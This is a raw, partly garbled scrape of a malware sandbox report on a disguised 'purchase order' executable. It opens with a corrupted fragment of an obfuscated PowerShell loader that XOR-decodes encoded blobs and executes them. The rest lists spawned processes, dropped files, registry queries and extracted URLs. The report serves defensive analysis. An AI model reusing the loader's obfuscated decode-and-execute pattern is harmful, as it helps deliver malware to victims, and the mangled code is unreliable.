-52-lte9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2.Length92 -52+=2){''+=[char](([Convert]::ToInt32(e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2.Substring(92 -52,2),16))-bxor@()[$i++%@().Length])}@()oldB=FromBase64String([regex]::Replace(ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRAINMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGpAQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPRkt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhDDDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkhLQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWzkTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOycBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGORQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipGPllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFAgg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgVtFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw==, '@()', ''));''=''for(92 -52=092 -52-lt$dMWc1oD74oldB.Length92 -52++){''+=[char]($dMWc1oD74oldB[92 -52]-bxor@()[$i++%@().Length])}.('C:\WINDOWS\system32\cmd.exe'[4,26,25]-join'') '';"), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\u2nd3ci3\\u2nd3ci3.cmdline"" (UID: 00000000-00007936), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESE34.tmp" "%TEMP ..." (UID: 00000000-00008012)42:T686,"31de4d1b-7e67-46ca-b7ba-c05ce3546d4a.bat" has type "DOS batch file ASCII text with very long lines (576) with CRLF line terminators"- Location: [%TEMP%\31de4d1b-7e67-46ca-b7ba-c05ce3546d4a.bat]- [targetUID: 00000000-00003572] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00000864] "u2nd3ci3.out" has type "Unicode text UTF-8 (with BOM) text with very long lines (433) with CRLF CR line terminators"- Location: [%TEMP%\u2nd3ci3\u2nd3ci3.out]- [targetUID: 00000000-00000864] "u2nd3ci3.cmdline" has type "Unicode text UTF-8 (with BOM) text with very long lines (370) with no line terminators"- Location: [%TEMP%\u2nd3ci3\u2nd3ci3.cmdline]- [targetUID: 00000000-00000864] "u2nd3ci3.0.cs" has type "Unicode text UTF-8 (with BOM) text with no line terminators"- Location: [%TEMP%\u2nd3ci3\u2nd3ci3.0.cs]- [targetUID: 00000000-00000864] "__PSScriptPolicyTest_ansarajn.xxt.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_ansarajn.xxt.psm1]- [targetUID: 00000000-00005088] "__PSScriptPolicyTest_cngezrz0.hi4.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_cngezrz0.hi4.ps1]- [targetUID: 00000000-00000864] "__PSScriptPolicyTest_trctbrev.kim.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_trctbrev.kim.ps1]- [targetUID: 00000000-00005088] "__PSScriptPolicyTest_1edghtcv.q3b.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_1edghtcv.q3b.psm1]- [targetUID: 00000000-00000864]43:T61b,"HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: ""; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CCG"; Key: ""; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: ""; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP"; Key: ""; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\HJGROUPS-PURCHASEORDER#170331.EXE"; Key: ""; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS NT\RPC"; Key: ""; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: ""; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "")44:Te68,"HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "MAXRPCSIZE"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "OOBEINPROGRESS"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "IDLETIMERWINDOW"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "ACP"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "OEMCP"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "57A6ED1A-79F7-5011-B242-4784E5620CF7"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B749553B-D950-5E03-6282-3145A61B1002"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000604XX"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "8CCCA27D-F1D8-4DDA-B5DD-339AEE937731"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "18608E62-A628-49D9-8C02-55972E097D24"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "SYSMAIN.SDB"; Value: "") "HJGROUPS-PURCHASEORDER#170331.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "DISABLEDOUBLEQUERYSDBS"; Value: "")45:T564,"HJGROUPS-PURCHASEORDER#170331.exe" trying to touch file "C:\Windows\System32\mscoree.dll" "HJGROUPS-PURCHASEORDER#170331.exe" trying to touch file "C:\Windows\System32\apphelp.dll" "HJGROUPS-PURCHASEORDER#170331.exe" trying to touch file "C:\HJGROUPS-PURCHASEORDER#170331.exe" "HJGROUPS-PURCHASEORDER#170331.exe" trying to touch file "C:\Windows\System32\ntdll.dll" "HJGROUPS-PURCHASEORDER#170331.exe" trying to touch file "C:\Windows\System32\kernel32.dll" "HJGROUPS-PURCHASEORDER#170331.exe" trying to touch file "C:\Windows\System32\KernelBase.dll" "HJGROUPS-PURCHASEORDER#170331.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "HJGROUPS-PURCHASEORDER#170331.exe" trying to touch file "C:\Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb" "HJGROUPS-PURCHASEORDER#170331.exe" trying to touch file "C:\Windows\System32\fltLib.dll" "HJGROUPS-PURCHASEORDER#170331.exe" trying to touch file "C:\windows\temp\VxOle64.dll" "HJGROUPS-PURCHASEORDER#170331.exe" trying to touch file "C:\WINDOWS\system32\IMM32.DLL" "HJGROUPS-PURCHASEORDER#170331.exe" trying to touch file "C:\Windows\System32\imm32.dll" "HJGROUPS-PURCHASEORDER#170331.exe" trying to touch file "C:\CRYPTSP.DLL" "HJGROUPS-PURCHASEORDER#170331.exe" trying to touch file "C:\WINDOWS\SYSTEM32\CRYPTSP.DLL" "HJGROUPS-PURCHASEORDER#170331.exe" trying to touch file "C:\Windows\System32\cryptsp.dll"46:T8e8,"HJGROUPS-PURCHASEORDER#170331.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "HJGROUPS-PURCHASEORDER#170331.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "HJGROUPS-PURCHASEORDER#170331.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_1_CLR0400.dll" "HJGROUPS-PURCHASEORDER#170331.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "HJGROUPS-PURCHASEORDER#170331.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "HJGROUPS-PURCHASEORDER#170331.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "HJGROUPS-PURCHASEORDER#170331.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "HJGROUPS-PURCHASEORDER#170331.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "HJGROUPS-PURCHASEORDER#170331.exe" trying to access non-existent file "C:\cmd.exe" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_1_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll"47:T9a8,"HJGROUPS-PURCHASEORDER#170331.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "HJGROUPS-PURCHASEORDER#170331.exe" trying to access non-existent file "C:\HJGROUPS-PURCHASEORDER#170331.exe.config" "HJGROUPS-PURCHASEORDER#170331.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "HJGROUPS-PURCHASEORDER#170331.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\GeneratedExe" "HJGROUPS-PURCHASEORDER#170331.exe" trying to access non-existent file "C:\HJGROUPS-PURCHASEORDER#170331.INI" "cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.INI" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll.config" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll.config" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files (x86)\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psm1"48:T52e,"HJGROUPS-PURCHASEORDER#170331.exe" writes file "c:\users\%osuser%\appdata\local\temp\31de4d1b-7e67-46ca-b7ba-c05ce3546d4a.bat" "HJGROUPS-PURCHASEORDER#170331.exe" writes file "%temp%\31de4d1b-7e67-46ca-b7ba-c05ce3546d4a.bat" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_trctbrev.kim.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_ansarajn.xxt.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "%temp%\__psscriptpolicytest_trctbrev.kim.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_ansarajn.xxt.psm1" "powershell.exe" writes file "%localappdata%\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_cngezrz0.hi4.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_1edghtcv.q3b.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\u2nd3ci3\u2nd3ci3.0.cs" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\u2nd3ci3\u2nd3ci3.cmdline" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\u2nd3ci3\u2nd3ci3.out"49:Td68,Pattern match: "http://go.microsoft.com/fwlink/?linkid=533240" Heuristic match: "zynimg.com" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "ystem.ma" Heuristic match: "olicy.11.0.microsoft.office.in" Pattern match: "http://www.validationtest.contoso.com/test%ld.html" Heuristic match: "c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Pattern match: "http://www.microsoft.com" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" Pattern match: "www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Heuristic match: "1.1635.cat" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Heuristic match: "indows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Pattern match: "go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Pattern match: "www.digicert.com1$0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1" Pattern match: "www.digicert.com1!0" Heuristic match: "om/vslogo.gi" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://www.microsoft.com0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "www.mio" Pattern match: "www.mi" Heuristic match: "tomation.re" Heuristic match: "ement.automation.re" Pattern match: "https://wdcp.microsoft.com/wdcp.svc/submitreport" Heuristic match: "ement.au" Pattern match: "rosoft.com/pki/crl/p" Pattern match: "http://www.mij" Pattern match: "www.microsoft.com/pkiops/certs/micro" Pattern match: "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=74408&enterprise=" Pattern match: "https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%lu&enterprise=%d" Pattern match: "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&" Heuristic match: "ystem32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package0212~31bf3856ad364e35~amd64~~10.0.22621.1635.cat" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Heuristic match: "osoft.ma"4a:T425e,Found URL "http://www.validationtest.contoso.com/test%ld.htmlmpoav_forcedeepscan" - Source: "00000000-00000864.00000001.295166.C3B83000.00000002.mdmp") Found URL "http://www.microsoft.com1.3.6.1.4.1.311.3.3.120230416025221.464z0washington1redmond1microsoft" - Source: "00000000-00000864.00000001.295166.FCAE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00000864.00000001.295166.FCAE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00000864.00000001.295166.FCAE0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm0o0m0kehttp://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0>ngdxfg:smxsu$was.,k" - Source: "00000000-00000864.00000001.295166.FCAE0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00000864.00000001.295166.FD170000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0internet1verisign," - Source: "00000000-00000864.00000001.295166.FD170000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00000864.00000001.295166.FD170000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm/ecc" - Source: "00000000-00000864.00000001.295166.FD170000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00000864.00000001.295166.FD170000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00000864.00000001.295166.FD170000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: "00000000-00000864.00000001.295166.FD170000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/microsoft%20time-stamp%20pca%202010(1).crl0l" - Source: "00000000-00000864.00000001.295166.FD170000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/certs/microsoft%20time-stamp%20pca%202010(1).crt0nc" - Source: "00000000-00000864.00000001.295166.FD170000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreport:\program" - Source: "00000000-00000864.00000001.295166.FDDA0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt08.ek@26vtlp0xr!s4z-g" - Source: "00000000-00000864.00000001.295166.FDDA0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0y'k" - Source: 